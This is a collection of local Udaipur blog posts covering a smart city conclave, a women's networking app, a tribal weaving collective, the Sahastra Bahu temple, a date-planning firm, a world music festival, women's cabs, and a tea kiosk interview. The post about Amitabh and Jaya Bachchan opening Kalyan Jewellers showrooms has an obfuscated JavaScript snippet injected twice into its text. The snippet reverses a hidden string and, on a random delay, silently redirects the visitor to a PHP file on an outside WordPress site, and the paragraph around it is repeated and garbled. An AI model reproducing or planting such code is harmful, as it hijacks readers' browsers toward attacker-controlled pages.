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Categories
News

Conclave to focus on Smart City Challenges held in Udaipur

Smartcity Udaipur

To bring stakeholders on board for the ambitious smart city project, a one-day ‘Smart City Conclave’ would be held here on Saturday.

Smartcity Udaipur

The event will focus on challenges and opportunities towards smart city programme, sharing best practices, evolving technological and managerial solutions and providing inputs for policy interventions.

“Jaipur and Udaipur have been selected among the first lot of 20 cities under the smart city programme and the conclave would provide a platform to deliberate on the progress so far and way forward on the initiative,” said Manjit Singh, principal secretary, local self government (LSG).

The minister for urban development & housing (UDH) and LSG Rajpal Singh Shekhawat, home minister Gulab Chand Kataria; director, National Institute of Urban Affairs, Jagan Shah, would be few of the dignitaries participating in the event. The ambassador of Denmark to India Peter Taksoe-Jensen will address the delegates during the inaugural session.

“During the inaugural session, a theme paper will also be released which would cover the city profile, SWOT analysis, strategic focus, a vision statement as well as the financial plan,” said Atul Sharma, head, Rajasthan State Council, FICCI, which along with the LSG department, Udaipur municipal corporation and Udaipur Smart City Ltd is organising the event. The conclave will witness two plenary sessions. The first session will be focused on ‘Greener and Healthier Cities’. The second session will be on ‘Smart & Vibrant Cities’.

 

via: http://timesofindia.indiatimes.com/city/jaipur/Conclave-to-focus-on-smart-city-challenges-in-Udaipur/articleshow/52371568.cms

Categories
News

ChicsConnect – Support Udaipur Girl’s Idea

ChicsConnect Udaipur

 

CHICS CONNECT

ChicsConnect Udaipur

 

Our city has a new budding entrepreneur who has come into social entrepreneurship with her idea of Chics Connect. The name itself is so exciting that you will definitely get curious. So what is Chics Connect ? Whether you are travelling to another city or you are in your own city, if you want to meet new girls and want to hangout, have fun or collaborate for business you have an APP which is called Chics Connect. The possibilities of making simple connections ending up in life-time friendships to valuable professional connections ending up in collaborations using Chics Connect are immense.

Chics Connect

Chics Connect aims to break the patterns & help create a better world by letting women folk connect with each other like never before. Horizons of their mental & emotional perspectives grow wider & comfort zones shrink with every new connection. It is similar to connecting the dots & accessing the larger picture – You let loose and let life surprise you with all the pros of connecting with fellow women. Every connection is a revolution in making. We wish to empower girls to spread their wings & fly out of the cage of their pre-defined limits and meet new companions, building inspiring and lasting relationships.

Hurratul has recently started with her CrowdFunding campaign to support app development and marketing of the idea and she is looking for support  from our city people to crowd fund her. She is going to The Angel Summit happening in Delhi on 7th May and she will make Udaipur proud. We wish her all the best and hope she wins it. So guys let us come together and help her to achieve this.

Support Chics Connect

 

We support ChicsConnect … Do you ? – Show Your Love !

LINK TO CAMPAIGN : https://www.ketto.org/chicsconnect

Categories
News

Amitabh & Jaya Bachchan to come in opening of Kalyan Jewellers in Udaipur

Bollywood megastar Amitabh Bachchan, wife Jaya will visit Rajasthan to inaugurate three showrooms of Kalyan Jewellers on April 24, 2016. They will be opening the showrooms in Jodhpur, Jaipur $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and Udaipur $Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}and will address the gathering at the venues.
Bollywood megastar Amitabh Bachchan, wife Jaya will visit Rajasthan to inaugurate three showrooms of Kalyan Jewellers on April 24, 2016. They will be opening the showrooms in Jodhpur, Jaipur and Udaipur and will address the gathering at the venues.

Bollywood megastar Amitabh Bachchan, wife Jaya will visit Rajasthan to inaugurate three showrooms of Kalyan Jewellers on April 24, 2016. They will be opening the showrooms in Jodhpur, Jaipur and Udaipur and will address the gathering at the venues.

Bollywood megastar Amitabh Bachchan, wife Jaya will visit Rajasthan to inaugurate three showrooms of Kalyan Jewellers on April 24, 2016. They will be opening the showrooms in Jodhpur, Jaipur and Udaipur and will address the gathering at the venues.
Bollywood megastar Amitabh Bachchan, wife Jaya will visit Rajasthan to inaugurate three showrooms of Kalyan Jewellers on April 24, 2016. They will be opening the showrooms in Jodhpur, Jaipur and Udaipur and will address the gathering at the venues.

 

They recently featured in an advertising campaign for the company, enacting as a Rajasthani couple.

Kalyan Jewellers’ Chairman T S Kalyanaraman said: “We are delighted that Mr Amitabh Bachchan and Mrs Jaya Bachchan are coming to Rajasthan for opening the three Kalyan Jewellers showrooms marking a historic moment for the company. I am sure that fans will be delighted to see them at the three showrooms and we welcome everybody to join us for the launch.’’

The showrooms will feature Polki, gold, diamond and precious stone studded jewellery designs from across the country.

Amitabh Bachchan will next grace the screens in Te3n, set for a May release while Jaya Bachchan’s next film is Hera Pheri 3, due to release in August.

via: TheIndianExpress.com

Categories
Health & Fashion

Gathan – “Weave a Bond” strengthening the Women

Gathan Udaipur 8

GATHAN – Weave a Bond

 

Gathan - Sharada kerkar & Aayushi Maira

 

Gathan is a social initiative which aims to instill Self Entrepreneurship and Creative experimentation through skill development in women. Currently working with twenty tribal women, the project aims at providing them an alternate source of income from the sale of hand-made products. The women are trained to make hand-woven woolen bands and are encouraged to express their creativity by engaging in self-designed, marketable art and craft.

 

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The Beginning

Gathan was established in a small, picturesque village called Nayaguda, located amidst the Aravali range in Udaipur. During my one-month stay in the village, as a part of the Village-Immersion program I identified unemployment as one of the main problems in the village. Most of the men and a few women earned their living by working as daily-wage labourers in nearby cities, breaking rocks, plastering homes and pulling carts, unexposed to other means of livelihood. The women on the other hand, forced to take care of the house and children, would spend long idle hours waiting for their husbands to return with a day’s earning. The lack of skilled jobs in the village combined with my enthusiasm and skill-sets in art, slowly led to the formation of our women’s collective, Gathan which coincidently means constitution.

Gathan Udaipur 8

 

 

Impact

Spending hours together with the women, knotting, cutting and untangling the woolen threads, the women learnt the art of weaving bands. The women would meet in the evenings, chit-chat, weave bands and return home before sunset to cook their meals. Starting off as an experiment, it has now led to the production of more than 500 bands. The bands have been sold to 5 organizations in Rajasthan and Goa, and have received tremendous support from friends and well-wishers. Since the initiation of the project, the women have been exposed to several activities and programs to hone their creative skills and widen their perspectives on education and socio-economic empowerment. Band-weaving sessions, Meetings to share work of other SHGs, Group sittings to discuss pricing of the products, field-visits to other organizations (Sadhna), sessions to teach them how to write their name (Literacy program), and a platform to create their own products during the Diwali break was provided to the women. Skilled in weaving 5-different types of patterns, the women earn a monthly income of 1200 Rupees.

Gathan Udaipur 9

   

Learning

Working on this project for the last 8-months gave me the opportunity to experience failure, exercise my leadership skills, and broaden my vision and perspectives on social issues and most importantly understand the idea of sharing and coexisting together as human beings.

 

Gathan Udaipur 6

 

Moving Forward

In the coming months, the project seeks to increase its production to a 1000 bands and work on linking the women’s collective to several other livelihood generation programs. The sustainability of the project is one of the biggest challenges but the joy and excitement of the women keeps me hopeful and motivated about its future.  

 

Gathan Udaipur 3

 

A project by Sharada kerkar & Aayushi Maira

Gandhi Fellows, Batch 7, Girwa, Udaipur

Aayushi 7023002350
Sharada 7023002326

Gathan Udaipur 5

Gathan Udaipur 4

You Can Buy or Get these Products at: 

Kiara Clothing, Opp. Khadi Bhandar, Bapu Bazar, Udaipur

Or Call : 9799022227

Photos by: Siddharth Nagar (9460824020)

Categories
Places to Visit

Sahastra Bahu Temple:  Find the Tourist, Inside

Temple Carvings at SahastraBahu temple. Udaipur

courtyard of the Sahastra Bahu temple, Udaipur, Rajasthan

“You are not a tourist, ease up”, said a friend after one look at my itinerary for Udaipur, my hometown, a city I visit every few months. It almost sounded like a bad thing. Was I being told not to change from my usual lazy, procrastinating local self into a discoverer, explorer, foodie and photographer? I was confused. As I prepped for the trip, folks back home were relieved that I didn’t sign up for the package deal (pun intended) – sunhat, camera around neck and the crazy map-in-hand walk. My “let’s make the most of the time” frenzy was acceptable as long as I kept it in check. “I’ll try”, I say. And then go on to see- Neemach Mata Mandir, Shilpgram, Menar Bird Sanctuary, Khmepur Haveli, Dungarpur, Desert safari- in one week. “I tried”, I say, sheepish!

Temples of SahastraBahu near Udaipur

 

It is at the Sahastra Bahu temple where my explorer- fever finally makes sense.

Dedicated to Vishnu, Sahastra Bahu, meaning one with a million arms, is locally called Saas-Bahu – The Mother-in-law – Daughter-in-law temple. Funny! Udaipur’s twisted take on the name and the relation as one with a million (reasons to be up in) arms, I think. Just 22 kms out of Udaipur, the site borders green marshlands with date palms giving a unique oasis-que feel to the hilly landscape. The name and scenery have my interest piqued.

Eroded temple tops of the SahastraBahu temple, Udaipur

 

I learn that the temple is on the Archaeological Survey of India’s list of heritage monuments. Yet, rushing tourists enroute to Nathdwara and Eklingji are mostly who I find here. With a pose and a click, they move- in and out in 20 minutes. To a structure standing around since the 7th century, this could seem a tad rushed. But then again, as Indians we are spoilt for choice of intricately carved temples across our country. One such as this, with large parts of its craftsmanship eroded can fail to hold attention for long, especially if one is checking it off a sight-seeing list. But who am I to judge, tourists at least make an appearance. Locals hardly ever come by. Heck, it’s my first time here in all these years!

Pillars at the SahastraBahu temple Udaipur, Rajasthan

 

 

Temple Tales

 

Sahastra Bahu temple Udaipur eroded with time

 

I am happy the tourist-curiosity finally gets me here and being a local gives plenty of time to sit back and take it in. History isn’t my strong point, so imagination comes to help. I watch long enough and each temple element begins to fire a story. Like a stoic general, the isolated pillars demand more than just a second look. They command respect for their resilience, for not collapsing like the walls around them; for standing up to wind and war for the last 2000 years.

Statue at the Sahastra Bahu temple udaipur, Rajasthan, India

Like an aging beauty, the carved walls press for more than just attention. They wait for appreciation, for adoration of their fading elegance, for love that once changed their plain faces into masterpieces.

Temple Carvings at SahastraBahu temple. Udaipur

 

I imagine how the temple must have once stood, in eternal pride, protected by Kings prostrated on by devotees, patronized by artists. It stands now, idol less, in near ruins, with little to offer but a peek into history and some pretty pictures. 

Soon, the impermanence of it all begins to hit hard and close. I recognize  that no matter how self-important I feel today, my super successes, and even my fantastic failures will one day be lost to the forces that have always been – of wind and sand, of water and land. Yet, for the most part, I live deluded, frog in a well, unwilling to step out of my emotional and physical comfort zone.

Sahastrabahu temple near Udaipur, Rajasthan

 

If the ruins could leave me a life message this might be it. 

Like a local, don’t be bound
Not in body, nor in mind
Embrace your world, as a tourist does
Open to adventure each day, that comes

View of the SahastraBahu temple, Udaipur, Rajasthan

 

And there, on the steps of the Sahastra Bahu temple, my explorer- fever finally makes sense.

I am happy that I am here, not just as a tourist in a new town, but better still, as a tourist in my own town.

Not transforming for a temporary, alternate reality, making the most of each day, for a few days; but seeing my own familiar world with new eyes, loving it with new passion and making the most of each day, every day.

I smile. Being labelled a tourist, feels like the best compliment ever!

 

Stone carvings at Sahastra Bahu temple Udaipur

 

This is a personal account of my journey to the Sahastra Bahu temple and the part of me I found there.  

For history enthusiasts, more factual information can be found here:

https://en.wikipedia.org/wiki/SahastraBahu_Temples

http://www.udaipur.org.uk/excursions/nagda-in-udaipur.html

 

 

 

About the Author:

somya deshpande

 

Somya Deshpande, is a Communications professional living in Mumbai. Udaipur is her maternal hometown and growing up she spent many a summers here walking the streets of the old city. Her special bond with Udaipur continues and she visits every few months to connect with family and herself. Somya is a travel and fitness enthusiast, trekking is her passion. You can read her experiences on her blog www.onthehighroadblog.wordpress.com.

 

Get in touch with her at somya_deshpande@yahoo.com

 

Categories
Health & Fashion

Believe Happenings – India’s First Date Planners

Plan your date

Date Planners India

Udaipur believes in celebrating all it’s events and functions with a constant zeal, be it a small event or a big one. The city also witnesses a large crowd of couples going on for dates to exquisite locations around town every now and then. To give the couples a captivating taste of charming dates ‘Believe Happenings‘ has emerged in the city as India’s first date planners. The event organizing firm has introduced a unique concept of organizing dates and stands as the first official date planning company. As delightful the company’s concept sounds, its vision of creating lifetime experiences and spreading contented smiles, does too.

Plan your date

The event firm has an objective of managing its events in a well planned and rightly executed manner. The firm brings meaning to the term ‘Dream date’ as it’s work profile focuses on cooking perfect date ideas and serving out the kind of dates that you have always dream of. From the locations to the ambiance, cuisines, decor and heartwarming music every aspect is looked upon to offer a magical experience in your lap. As the firm claims ‘Just dream it’ , it is their solemn duty to convert them into reality.

Covering numerous categories of dates as such Romantic, pool, boat, jetty and getaway the firm’s event organizing sphere expands to a few other events too. There work profile also includes managing events that comprise – Surprise parties, Photo shoots, baby showers, baby book and theme parties. Believe happenings also provide minute services as ‘Sugar and Savory table’ which involves availability of quick cuisines for your guests, delicious desserts, cute cookies and other small confectionery.

The event company has come up with a brilliantly distinctive idea of celebrating love between couples that is ‘Better Together’. It is a brand for weekend parties that Believe Happenings aim to create a strong base of in Udaipur. The parties would arrow at offering its customers an ambiance that is soothing and revitalizes romance in the hearts of its guests. The first ‘Better Together‘ was held on the day that celebrates love, 14th of February, 2016 at Ananta and the amazing response ignited the idea of celebrating the similar love around weekend every month at best of venues.

Believe Happenings

Believe Happenings

Believe Happenings

Believe Happenings

 

So, if you are one of the couples looking forward to an exciting and refreshing date or simply a weekend to enjoy with your better half, now you know where to shoot!

Date Plan Ideas

India Date Planners

Date Planning

Contact :- +91-9549288333 (Believe Happenings)

Categories
Events Photos

“Udaipur World Music Festival” ends with its Euphony in Hearts

Around the purplish blue water lakes, Udaipur is an exquisite are fixed in by the lavish slopes of the Aravali. With an intend to set up a yearly mark occasion in Rajasthan and in the meantime to build up Udaipur as a noteworthy destination for World Music in South Asia, the city woke up with the first of its sort of celebration in India on February 13 and 14, 2016. The celebration which denoted the festivals of 60 years of the conciliatory relations among Spain and India likewise included Ghana, Venezuela, Italy, and France. This expansive, multi-venue, music celebration united more than 100 worldwide maestros and grouped more than 12 nations.

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Udaipur World Music Festival was presented by Hindustan Zinc in coordination with Wonder Cement and Rajasthan Tourism and conceptualized by SEHER occurred. SEHER has presented various Indian victorious celebrations like Bhakti Utsav, South Asian Bands Festival, Ananya and others, while advancing the conventional, Classical Arts and craftsmen from over the differing locales of India and the World.

Tuned in to how certain spirit and music are connected with times of the day, each of the two venues showcased an alternate class of music. Celebration began with sensual treat amid evenings and finished in the nights with high vitality young shows.

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The morning sessions of Udaipur World Music Festival were held at Jagmandir Island Palace powered by Hindustan Zinc.  The venue for afternoon was Fateh Sagar Paal whereas at Railway Training Institute Ground for evenings. Rajasthan Chief Minister  Vasundhara Raje witnessed the event as a Chief Guest. She indicated the importance of such musical festivals indulging tourist aspects to the city.

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On the first day Fado vocalists from Portugal, Carminho performed. Mysterious French author Mathias Duplessy worked together with remarkable Rajasthani vocalist Mukhtiyar Ali from the semi-traveling group called Mirasi of Thar Desert. Flamenco, personified by one of the best Flamenco bunches TAMARA and FERNANDO added sparkle. Spanish Flamenco guitar and dance execution and the interesting African beat music by Dobet Gnahoré a Grammy recompense victor from the Ivory Coast were introduced in night. Combination Rock Bands of India – The Raghu Dixit Project winded the evening up.

The following day started with a combination of Sufi and Gospel including music by Sonam Kalra. Moroccan Saharian Soul-Oum, Afro Beat Venezuelan Cumbia – Family Atlantica from Venezeula and Ghana brought out beats getting highlighted in India for the first time. With Indian Rock Fusion Band; Papon(Angarag Mahanta) and the East Indian Company, the Festival finished on with vigour.

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So to conclude this all, this was like a dream came true for the attendees and enthusiasts who travelled from various continents to make an attendance to the great world music festival. The Udaipur people got to experience amazing vibes in their city.

As per sources it will be held every year. We all wish that next year it’s going to be remarkably bigger and more managed than this time.

Photos by: Siddharth Nagar & Shourya Raj Vansha Acharya

Article by : Nida Khan

Categories
News

Women Cabs soon to Start in Udaipur!

Ladies Taxi in Udaipur
Image Credits: http://pib.nic.in/

Lone passengers especially women are cynical when they sit inside a cab, worried till they reach their destination. Following the success models of ‘She Taxi’ in Kerala and ‘Pink-Auto’ in Jharkhand, the road transport department has embarked on a similar initiative to run all-women cab service in Udaipur. In the first phase, 50 women drivers would be trained and given license under ‘Mission Meera’, the initiative which intends not only to improve road safety but also empower women through providing jobs to them in an entirely new sector.

Ladies Taxi in Udaipur
Image Credits: http://pib.nic.in/

“Women are safe and cautious drivers and with the increased number of crimes against tourists in recent times, we are sure visitors would prefer these cabs for safety. So this soon-to-be smart city may see alert female drivers through the mission” said Dr Mannalal Rawat, the regional transport officer. The all- women taxi service may begin by the end of the month as few women are already under training, officers claim. The transport department recently organized a workshop in collaboration with the Udaipur municipal corporation and district administration wherein driving school operators agreed to extend free driving lessons to such women.

‘Mission Meera’ was envisaged by the road transport department and entrepreneur Durga Naval who runs a driving school for women in the city. Naval is the third woman in India to have been granted the HMV (heavy motor vehicle) license. Presently there are only two women in Udaipur including Naval who have commercial driving licenses.

Naval has a license to drive trucks and other HMVs while one Manju Khatri has a license for tempo driving. “ Women with underprivileged backgrounds and minimum qualification of 8th class, would be given preference” Rawat said. . The selected candidates would have to take practical and theoretical classes in driving and those who pass the mandatory written test would be granted licenses accordingly. The department would assist these ‘Meeras’ in getting placements in various taxi service providing companies to take the female sightseers for a ride in the city area. At a later stage, the ‘Meeras’ may even be assisted in getting loans to purchase cabs of their own for a startup, authorities suggested.

 

Via : Press Release / UdaipurKiran.com

Categories
News

Udaipur is now in TOP 20 Smart Cities of India

Smartcity Udaipur

Udaipur is now selected among first list of Top 20 Cities to be developed as Smart Cities in India. Venkaiah Naidu, Urban Development Minister on Thursday announced this list of First 20 Cities which will be assigned with the budget.

“The investment of Rs 50,802 crore has been proposed in selected smart cities and towns during the five-year period.”

Smartcity Udaipur

Rajasthan was the first state to submit Smart City plans last month. The state sent proposal for development of Ajmer, Jaipur, Kota and Udaipur as Smart Cities but only Udaipur & Jaipur turned out to be the winning cities.

First to elucidate what is Smart City actually, smart cities are the urban regions that are developed in all spheres as such from its infrastructure, sustainable growth, basic facilities to the advanced IT. The government on the same date declared the first 20 cities to be undertaken under the ‘smart city mission’

Among the potential 20 cities, Udaipur stands as one of the exceedingly potential city that would witness a ‘smart growth’. Modi, in one of his speeches mentioned that its the “smart citizens” of the city that would make it one and stand as the base of growth. Undoubtedly Udaipur amidst level headed and wise citizens but an approach that deals with the vision that beholds Udaipur as an utterly developed and enhanced city is necessary. The development areas to be looked upto includes Core Infrastructure elements that is: better water supplies, efficient use and availability of electricity in all parts of the city, Sanitation including solid waste management.

As the basic core infrastructure elements are revamped the city would capture an entirely new face. Appropriate sanitations would let the lakes and parks of the city cleaner and with a new charm. Another important area of development is urban mobility and public transport. The city would be acquired with advanced public transport, providing cheaper and convenient mobility. A better infrastructure that includes building of new roads and flyovers could reduce the traffic chaos and accidents. Infrastructure development focuses on hospitals, educational Institutions and Official buildings too!

The city has been addressed a growth in the latter already. Udaipur is one of the cities that has accepted and adopted to vigourious changes comfortably and looks forward to the same in future. The city envisages a complete digital change and availability that refers the IT becomes the base for all the activities happening and for providing essential services to the residents.

The other things that would be focussed on would be sustaining the environment, providing better security and robust connectivity. Let us, the citizens of Udaipur equip our minds with realistic and reasonable thoughts and ideas to make the vision of a smart city come true in every aspect and see our darling city transform magnificently.

Here’s the rank wise full list of the first 20 smart cities which are going to be allotted with the Smart City Budget:

1. Bhubaneswar, Odisha
2. Pune, Maharashtra
3. Jaipur, Rajasthan
4. Surat, Gujarat
5. Kochi, Kerala
6. Ahmedabad, Gujarat
7. Jabalpur, Madhya Pradesh
8. Visakhapatnam, Andhra Pradesh
9. Solapur, Maharashtra
10. Davangere, Karnataka
11. Indore, Madhya Pradesh
12. NDMC, Delhi
13. Coimbatore, Tamil Nadu
14. Kakinada, Andhra Pradesh
15. Belgaum, Karnataka
16. Udaipur, Rajasthan
17. Guwahati, Assam
18. Chennai, Tamil Nadu
19. Ludhiana, Punjab
20. Bhopal, Madhya Pradesh

Its a time of Joy for everyone in the City, Now its our moral duty to support and contribute to the actions of District Administration and various Departments.

 

Article by : Rakshanda Hada

Categories
People

[Intro Entrepreneurs] Vinish & Shubh – Chaifeteria

chaifeteria udaipur

Chai & Wi-Fi

It’s always special to interview your friends. You have seen it all; when they had no ideas, when they had the raw ideas, when they were struggling, when they become entrepreneurs and finally when they got famous and successful. I had known Shubh since school days, but I was meeting Vinish for the first time.

The interview started up with a cup of Masala Chai whose exotic taste made me more attracted towards Chaifeteria. While we all were sharing giggles, they both said that they were not going to answer stereotype interview questions like who and what their inspiration was. Both of them are enough self admiring and hence their own lives were quite inspiring to them. While Vinish started jotting down answers for the questionnaire I had made, me and Shubh had a quick chat about our current lives.

 

The real conversation started while I was sitting and these both were preparing different orders for their customers. I was astonished by the amount of focus they were putting in everything. What kept me smiling all time along I was at Chaifeteria was the fact that their multitasking skills were incredible. They were meeting everyone pleasantly, made every order in the best possible way, paid total attention to my interrogation and answered them with full zeal and also offered me something or the other to eat from time to time. The best thing I ate was Ferrero Rocher chocolate fudge.

Now let me put down the amiable and amusing conversation among all three of us to this UdaipurBlog. Answers by Vinish will be mentioned first as he is the founder of this venture which ultimately means Shubh is the co-founder. And whatever I will add will be in Italics 😉

I sitting on the Red three legged stool asked:

 

HOW DID YOU COME UP WITH THE IDEA OF CHAIFETARIA.

Vinish: Shubh had the experience of handling food joints in local market as he already had handled Café Anarki, Just 4 U, Café Alchemy. 8 months back I went to him with the idea of putting up a kiosk with a new concept. The notion of innumerable flavors of tea with attached Wifi seemed quite fetching to Shubh. So we planned to give this a shot.

Shubh: I was quite influenced by Vinish’s idea. As I already had worked in Banyan Root’s kitchen, I knew I could handle the kitchenette part of this venture too. With experience had known that businesses had risk, but they were worth it.

 

So this shiny thing is worth the price.

 

YOUR CHAIFETERIA HAS BEEN GIVEN WARM ACCEPTANCE AND IT HAS BEEN RECOGNIZED LOCALLY.  TELL ME, HOW IT FEELS TO BE POPULAR?

Vinish: I want my work to be praised and accepted more than myself. I like fame in this way. I won’t care if people would say that they do not like me, but it would matter allot if they will not appreciate my activities towards this venture.

On the hand, Shubh completely is in head over heels love with this fame. He cherishes it when he does not need an introduction and most of the Udaipurites already know him. His major asset for his popularity has been his upcoming book “SHE-THE NOOR OF MY EYES”.

But both agree that adoration and approval of the customers and this city is the major prize which they have received.

Chaifeteria Udaipur

WHAT ARE YOUR SECRETS TO KEEPING CUSTOMERS COMING IN? WHAT HAVE BEEN YOUR MOST SUCCESSFUL PROMOTIONS?

Vinish: The secret is the innovative idea of making WiFi available at a Kiosk. Also the keen observation I have had due to my hobby of travelling helped me a lot. I almost know that what ideas will be sellable and what will be not.

Shubh: Media has had been a great help for our enterprise and its promotion. Big thanks to Dainik Bhaskar, Zee Marudara, Etv Rajasthan and Topyaps.com for covering our story. And Nida, Thanks to UdaipurBlog too now that you people are covering up Chaifetaria!

 

*Winks*

 

WHY DID YOU CHOOSE EACH OTHER AS A PARTNER?

Vinish:  We are childhood friends. We have had matching ideologies since forever. I had never believed in the concept of conventional education and stereotype professions. So when I saw Shubh following his heart and pursuing a career in writing and restaurant businesses, it gave me a push. I always knew that we are so likeminded that working with him will never be difficult.

Shubh: My cafes were going great. But I always had a great desire to create a brand in India. When a friend comes up with such an innovative proposal which has never been in this country before, we know that the desire is close enough to come true.

 

TELL US ABOUT YOUR EDUCATION PLANS AND ACTUAL CAREER GOALS IN LIFE?

Vinish: I am a 2nd Year B.Com dropout. I love wrestling and travelling. I have never believed in the concept of education but have always wanted to be someone who could learn things out of real life experiences. I also travelled from Udaipur to Shimla via Gujarat in 21 days without any money for the same purpose.

I want to make travelling, meeting new people and exploring life my career.

You see, Journey for some people, is destination

Shubh: Right now I am totally satisfied with what I am doing. I have completed my bachelors in English and now after completing MA English, I would like to do my PhD. The fixed plan is to get retired at the age of 30.

Ignoring the rush hour of this world, Shubh wants to taste the life.

 

WHY DO YOU THINK THAT YOUR VENTURE IS GETTING MUCH MORE POPULAR THAN THE OTHER SAME SIZED FAST FOOD JOINTS?

Vinish: Of course because of my Wi-Fi idea.  *Shubh & Vinish share smiles*. Moreover, the kind of hygiene we maintain is nearly impossible to be found at a kiosk in this city. People won’t see a contaminated person serving at our place or any unpleasant host. Me and My co-founder make everything ourselves and greet everyone with hospitality.

Being nice to customers or to anyone is not difficult at all, but still this is one rare thing in the universe.

Shubh: I totally agree to my founder 😉 but also I think because the kind of tea flavors you get over here are scarce. This makes us distinguished. There is almost something for each individual coming. We have best alternatives for traditional breakfast. Corn Flakes, different kinds of bun sandwiches, multiple flavored beverages and a lot of different items which are basic but essential are made available in minutes.

chaifeteria udaipur

ANY FURTHER ENHANCEMENT OR ADDITIONS YOU BOTH ARE PLANNING TO MAKE IN CHAIFETARIA?

Vinish: Yess! Seeing the embracing welcome, we are planning to open up 2nd outlet in the city soon. We really want to make good quality and economic fast food and beverages available to the city, especially youth.

Shubh: I believe if you provide a good service and place then the people are going to like it always. So now we will also come up with an entire new menu additional to the present one for summers.

It looks like this summer is going to bring up new sugars & spices. ☺

 

HOW YOU THINK GETTING STARTED WITH THIS VENTURE DIFFICULT?

Vinish: Convincing people about this idea was a tedious task. But later when this idea came into existence, we witnessed some customers who were very critical about the fact that we being educated were still working on kiosk.

People want to kill you, kiss you or be you!

Shubh: I love kitchen and cooking, so regarding this, things were quite cool. But finding the right location, getting its possession and majorly getting man power was difficult. But I think me and Vinish were enough to handle all this with obviously support of our friends.

But the worst part is, all the pretty girls call you Bhaiyya over here 😉

customers at chaifeteria

 

LASTLY, TELL ME ABOUT YOUR FAVORITE FEATURES OF CHAIFETERIA. ALSO MENTION YOUR FAVORITE DELICACIES?

Vinish: I am very particular about sterility. This is what is offered here which I am very fond of. And tea or caffeine and Wi-Fi are the need of the hour, which are very nicely served by us. Idea of serving basic requirements convinces me.

My favorites are Hari-Mirch chai, Irani chai and nutella bun.

Shubh: I love this completely because we are the only local joint which is also a merchandised line. You can buy packs of Green tea leaves, Chocolate tea leaves, Black tea homemade Chai Masala, Banana chips, Potato chips and Chocolate chips here.

My dearests are Chocolate Chai and Maggi bun.

 

WHAT IS THE BEST PART OF BEING INTO THIS VENTURE?

Vinish: One of the main reasons I dote over tours is that because they make me meet so many new people. We learn new ideas, how each individual is different from another, how people get along, how they get against; these things always held me curiosity.

I knew this venture will make me meet so many new people each day that this will never get boring.

#IHopeSo ☺

 

Shubh: Cooking ☺ As I said previously, I am fond of making eatables and writing. Chafetaria has given me a daily opportunity to cook, which I completely enjoy. Also meeting new people, recognizing them, exchanging experiences and views, gives me a broader perspective towards life and world for my writing.

 

Udaipurites, Do visit this place. Trust me; it’s something which you have never ever seen before in this city. Experience it! Live It! Love It!

Location: Near Happinezz Parlour, Sukhadia Circle

 

Article by: Nida Khan